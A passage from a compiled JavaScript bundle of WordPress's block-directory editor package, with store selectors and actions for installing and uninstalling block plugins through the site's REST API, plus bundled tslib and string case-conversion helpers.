_state$downloadableBl : false; } /** * Returns the available uninstalled blocks. * * @param {Object} state Global application state. * @param {string} filterValue Search string. * * @return {Array} Downloadable blocks. */ function getDownloadableBlocks(state, filterValue) { var _state$downloadableBl2; return (_state$downloadableBl2 = state.downloadableBlocks[filterValue]?.results) !== null && _state$downloadableBl2 !== void 0 ? _state$downloadableBl2 : EMPTY_ARRAY; } /** * Returns the block types that have been installed on the server in this * session. * * @param {Object} state Global application state. * * @return {Array} Block type items */ function getInstalledBlockTypes(state) { return state.blockManagement.installedBlockTypes; } /** * Returns block types that have been installed on the server and used in the * current post. * * @param {Object} state Global application state. * * @return {Array} Block type items. */ const getNewBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(state => { const installedBlockTypes = getInstalledBlockTypes(state); if (!installedBlockTypes.length) { return EMPTY_ARRAY; } const { getBlockName, getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store); const installedBlockNames = installedBlockTypes.map(blockType => blockType.name); const foundBlockNames = getClientIdsWithDescendants().flatMap(clientId => { const blockName = getBlockName(clientId); return installedBlockNames.includes(blockName) ? blockName : []; }); const newBlockTypes = installedBlockTypes.filter(blockType => foundBlockNames.includes(blockType.name)); return newBlockTypes.length > 0 ? newBlockTypes : EMPTY_ARRAY; }, state => [getInstalledBlockTypes(state), select(external_wp_blockEditor_namespaceObject.store).getClientIdsWithDescendants()])); /** * Returns the block types that have been installed on the server but are not * used in the current post. * * @param {Object} state Global application state. * * @return {Array} Block type items. */ const getUnusedBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(state => { const installedBlockTypes = getInstalledBlockTypes(state); if (!installedBlockTypes.length) { return EMPTY_ARRAY; } const { getBlockName, getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store); const installedBlockNames = installedBlockTypes.map(blockType => blockType.name); const foundBlockNames = getClientIdsWithDescendants().flatMap(clientId => { const blockName = getBlockName(clientId); return installedBlockNames.includes(blockName) ? blockName : []; }); const unusedBlockTypes = installedBlockTypes.filter(blockType => !foundBlockNames.includes(blockType.name)); return unusedBlockTypes.length > 0 ? unusedBlockTypes : EMPTY_ARRAY; }, state => [getInstalledBlockTypes(state), select(external_wp_blockEditor_namespaceObject.store).getClientIdsWithDescendants()])); /** * Returns true if a block plugin install is in progress. * * @param {Object} state Global application state. * @param {string} blockId Id of the block. * * @return {boolean} Whether this block is currently being installed. */ function isInstalling(state, blockId) { return state.blockManagement.isInstalling[blockId] || false; } /** * Returns all block error notices. * * @param {Object} state Global application state. * * @return {Object} Object with error notices. */ function getErrorNotices(state) { return state.errorNotices; } /** * Returns the error notice for a given block. * * @param {Object} state Global application state. * @param {string} blockId The ID of the block plugin. eg: my-block * * @return {string|boolean} The error text, or false if no error. */ function getErrorNoticeForBlock(state, blockId) { return state.errorNotices[blockId]; } ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// external ["wp","notices"] const external_wp_notices_namespaceObject = window["wp"]["notices"]; ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// ./node_modules/@wordpress/block-directory/build-module/store/load-assets.js /** * WordPress dependencies */ /** * Load an asset for a block. * * This function returns a Promise that will resolve once the asset is loaded, * or in the case of Stylesheets and Inline JavaScript, will resolve immediately. * * @param {HTMLElement} el A HTML Element asset to inject. * * @return {Promise} Promise which will resolve when the asset is loaded. */ const loadAsset = el => { return new Promise((resolve, reject) => { /* * Reconstruct the passed element, this is required as inserting the Node directly * won't always fire the required onload events, even if the asset wasn't already loaded. */ const newNode = document.createElement(el.nodeName); ['id', 'rel', 'src', 'href', 'type'].forEach(attr => { if (el[attr]) { newNode[attr] = el[attr]; } }); // Append inline <script> contents. if (el.innerHTML) { newNode.appendChild(document.createTextNode(el.innerHTML)); } newNode.onload = () => resolve(true); newNode.onerror = () => reject(new Error('Error loading asset.')); document.body.appendChild(newNode); // Resolve Stylesheets and Inline JavaScript immediately. if ('link' === newNode.nodeName.toLowerCase() || 'script' === newNode.nodeName.toLowerCase() && !newNode.src) { resolve(); } }); }; /** * Load the asset files for a block */ async function loadAssets() { /* * Fetch the current URL (post-new.php, or post.php?post=1&action=edit) and compare the * JavaScript and CSS assets loaded between the pages. This imports the required assets * for the block into the current page while not requiring that we know them up-front. * In the future this can be improved by reliance upon block.json and/or a script-loader * dependency API. */ const response = await external_wp_apiFetch_default()({ url: document.location.href, parse: false }); const data = await response.text(); const doc = new window.DOMParser().parseFromString(data, 'text/html'); const newAssets = Array.from(doc.querySelectorAll('link[rel="stylesheet"],script')).filter(asset => asset.id && !document.getElementById(asset.id)); /* * Load each asset in order, as they may depend upon an earlier loaded script. * Stylesheets and Inline Scripts will resolve immediately upon insertion. */ for (const newAsset of newAssets) { await loadAsset(newAsset); } } ;// ./node_modules/@wordpress/block-directory/build-module/store/utils/get-plugin-url.js /** * Get the plugin's direct API link out of a block-directory response. * * @param {Object} block The block object * * @return {string} The plugin URL, if exists. */ function getPluginUrl(block) { if (!block) { return false; } const link = block.links['wp:plugin'] || block.links.self; if (link && link.length) { return link[0].href; } return false; } ;// ./node_modules/@wordpress/block-directory/build-module/store/actions.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns an action object used in signalling that the downloadable blocks * have been requested and are loading. * * @param {string} filterValue Search string. * * @return {Object} Action object. */ function fetchDownloadableBlocks(filterValue) { return { type: 'FETCH_DOWNLOADABLE_BLOCKS', filterValue }; } /** * Returns an action object used in signalling that the downloadable blocks * have been updated. * * @param {Array} downloadableBlocks Downloadable blocks. * @param {string} filterValue Search string. * * @return {Object} Action object. */ function receiveDownloadableBlocks(downloadableBlocks, filterValue) { return { type: 'RECEIVE_DOWNLOADABLE_BLOCKS', downloadableBlocks, filterValue }; } /** * Action triggered to install a block plugin. * * @param {Object} block The block item returned by search. * * @return {boolean} Whether the block was successfully installed & loaded. */ const installBlockType = block => async ({ registry, dispatch }) => { const { id, name } = block; let success = false; dispatch.clearErrorNotice(id); try { dispatch.setIsInstalling(id, true); // If we have a wp:plugin link, the plugin is installed but inactive. const url = getPluginUrl(block); let links = {}; if (url) { await external_wp_apiFetch_default()({ method: 'PUT', url, data: { status: 'active' } }); } else { const response = await external_wp_apiFetch_default()({ method: 'POST', path: 'wp/v2/plugins', data: { slug: id, status: 'active' } }); // Add the `self` link for newly-installed blocks. links = response._links; } dispatch.addInstalledBlockType({ ...block, links: { ...block.links, ...links } }); // Ensures that the block metadata is propagated to the editor when registered on the server. const metadataFields = ['api_version', 'title', 'category', 'parent', 'icon', 'description', 'keywords', 'attributes', 'provides_context', 'uses_context', 'supports', 'styles', 'example', 'variations']; await external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-types/${name}`, { _fields: metadataFields }) }) // Ignore when the block is not registered on the server. .catch(() => {}).then(response => { if (!response) { return; } (0,external_wp_blocks_namespaceObject.unstable__bootstrapServerSideBlockDefinitions)({ [name]: Object.fromEntries(Object.entries(response).filter(([key]) => metadataFields.includes(key))) }); }); await loadAssets(); const registeredBlocks = registry.select(external_wp_blocks_namespaceObject.store).getBlockTypes(); if (!registeredBlocks.some(i => i.name === name)) { throw new Error((0,external_wp_i18n_namespaceObject.__)('Error registering block. Try reloading the page.')); } registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice((0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s is the block title. (0,external_wp_i18n_namespaceObject.__)('Block %s installed and added.'), block.title), { speak: true, type: 'snackbar' }); success = true; } catch (error) { let message = error.message || (0,external_wp_i18n_namespaceObject.__)('An error occurred.'); // Errors we throw are fatal. let isFatal = error instanceof Error; // Specific API errors that are fatal. const fatalAPIErrors = { folder_exists: (0,external_wp_i18n_namespaceObject.__)('This block is already installed. Try reloading the page.'), unable_to_connect_to_filesystem: (0,external_wp_i18n_namespaceObject.__)('Error installing block. You can reload the page and try again.') }; if (fatalAPIErrors[error.code]) { isFatal = true; message = fatalAPIErrors[error.code]; } dispatch.setErrorNotice(id, message, isFatal); registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(message, { speak: true, isDismissible: true }); } dispatch.setIsInstalling(id, false); return success; }; /** * Action triggered to uninstall a block plugin. * * @param {Object} block The blockType object. */ const uninstallBlockType = block => async ({ registry, dispatch }) => { try { const url = getPluginUrl(block); await external_wp_apiFetch_default()({ method: 'PUT', url, data: { status: 'inactive' } }); await external_wp_apiFetch_default()({ method: 'DELETE', url }); dispatch.removeInstalledBlockType(block); } catch (error) { registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(error.message || (0,external_wp_i18n_namespaceObject.__)('An error occurred.')); } }; /** * Returns an action object used to add a block type to the "newly installed" * tracking list. * * @param {Object} item The block item with the block id and name. * * @return {Object} Action object. */ function addInstalledBlockType(item) { return { type: 'ADD_INSTALLED_BLOCK_TYPE', item }; } /** * Returns an action object used to remove a block type from the "newly installed" * tracking list. * * @param {string} item The block item with the block id and name. * * @return {Object} Action object. */ function removeInstalledBlockType(item) { return { type: 'REMOVE_INSTALLED_BLOCK_TYPE', item }; } /** * Returns an action object used to indicate install in progress. * * @param {string} blockId * @param {boolean} isInstalling * * @return {Object} Action object. */ function setIsInstalling(blockId, isInstalling) { return { type: 'SET_INSTALLING_BLOCK', blockId, isInstalling }; } /** * Sets an error notice to be displayed to the user for a given block. * * @param {string} blockId The ID of the block plugin. eg: my-block * @param {string} message The message shown in the notice. * @param {boolean} isFatal Whether the user can recover from the error. * * @return {Object} Action object. */ function setErrorNotice(blockId, message, isFatal = false) { return { type: 'SET_ERROR_NOTICE', blockId, message, isFatal }; } /** * Sets the error notice to empty for specific block. * * @param {string} blockId The ID of the block plugin. eg: my-block * * @return {Object} Action object. */ function clearErrorNotice(blockId) { return { type: 'CLEAR_ERROR_NOTICE', blockId }; } ;// ./node_modules/tslib/tslib.es6.mjs /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const tslib_es6 = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); ;// ./node_modules/lower-case/dist.es2015/index.js /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } ;// ./node_modules/no-case/dist.es2015/index.js // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } ;// ./node_modules/pascal-case/dist.es2015/index.js function pascalCaseTransform(input, index) { var firstChar = input.charAt(0); var lowerChars = input.substr(1).toLowerCase(); if (index > 0 && firstChar >= "0" && firstChar <= "9") { return "_" + firstChar + lowerChars; } return "" + firstChar.toUpperCase() + lowerChars; } function dist_es2015_pascalCaseTransformMerge(input) { return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase(); } function pascalCase(input, options) { if (options === void 0) { options = {}; } return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options)); } ;// ./node_modules/camel-case/dist.es2015/index.js function camelCaseTransform(input, index) { if (index === 0) return input.toLowerCase(); return pascalCaseTransform(input, index); } function camelCaseTransformMerge(input, index) { if (index === 0) return input.toLowerCase(); return pascalCaseTransformMerge(input); } function camelCase(input, options) { if (options === void 0) { options = {}; } return pascalCase(input, __assign({ transform: camelCaseTransform }, options)); } ;// ./node_modules/@wordpress/block-directory/build-module/store/resolvers.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const resolvers_getDownloadableBlocks = filterValue => async ({ dispatch }) => { if (!filterValue) { return; } try { dispatch(fetchDownloadableBlocks(filterValue)); const results = await external_wp_apiFetch_default()({ path: `wp/v2/block-directory/search?term=${filterValue}` }); const blocks = results.map(result => Object.fromEntries(Object.entries(result).map(([key, value]) => [camelCase(key), value]))); dispatch(receiveDownloadableBlocks(blocks, filterValue)); } catch { dispatch(receiveDownloadableBlocks([], filterValue)); } }; ;// ./node_modules/@wordpress/block-directory/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Module Constants */ const STORE_NAME = 'core/block-directory'; /** * Block editor data store configuration. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#registerStore * * @type {Object} */ const storeConfig = { reducer: reducer, selectors: selectors_namespaceObject, actions: actions_namespaceObject, resolvers: resolvers_namespaceObject }; /** * Store definition for the block directory namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig); (0,external_wp_data_namespaceObject.register)(store); ;// ./node_modules/@wordpress/block-directory/build-module/components/auto-block-uninstaller/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function AutoBlockUninstaller() { const { uninstallBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store); const shouldRemoveBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => { const { isAutosavingPost, isSavingPost } = select(external_wp_editor_namespaceObject.store); return isSavingPost() && !isAutosavingPost(); }, []); const unusedBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getUnusedBlockTypes(), []); (0,external_wp_element_namespaceObject.useEffect)(() => { if (shouldRemoveBlockTypes && unusedBlockTypes.length) { unusedBlockTypes.forEach(blockType => { uninstallBlockType(blockType); (0,external_wp_blocks_namespaceObject.unregisterBlockType)(blockType.name); }); } }, [shouldRemoveBlockTypes]); return null; } ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","coreData"] const external_wp_coreData_namespaceObject = window["wp"]["coreData"]; ;// ./node_modules/clsx/dist/clsx.mjs function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var 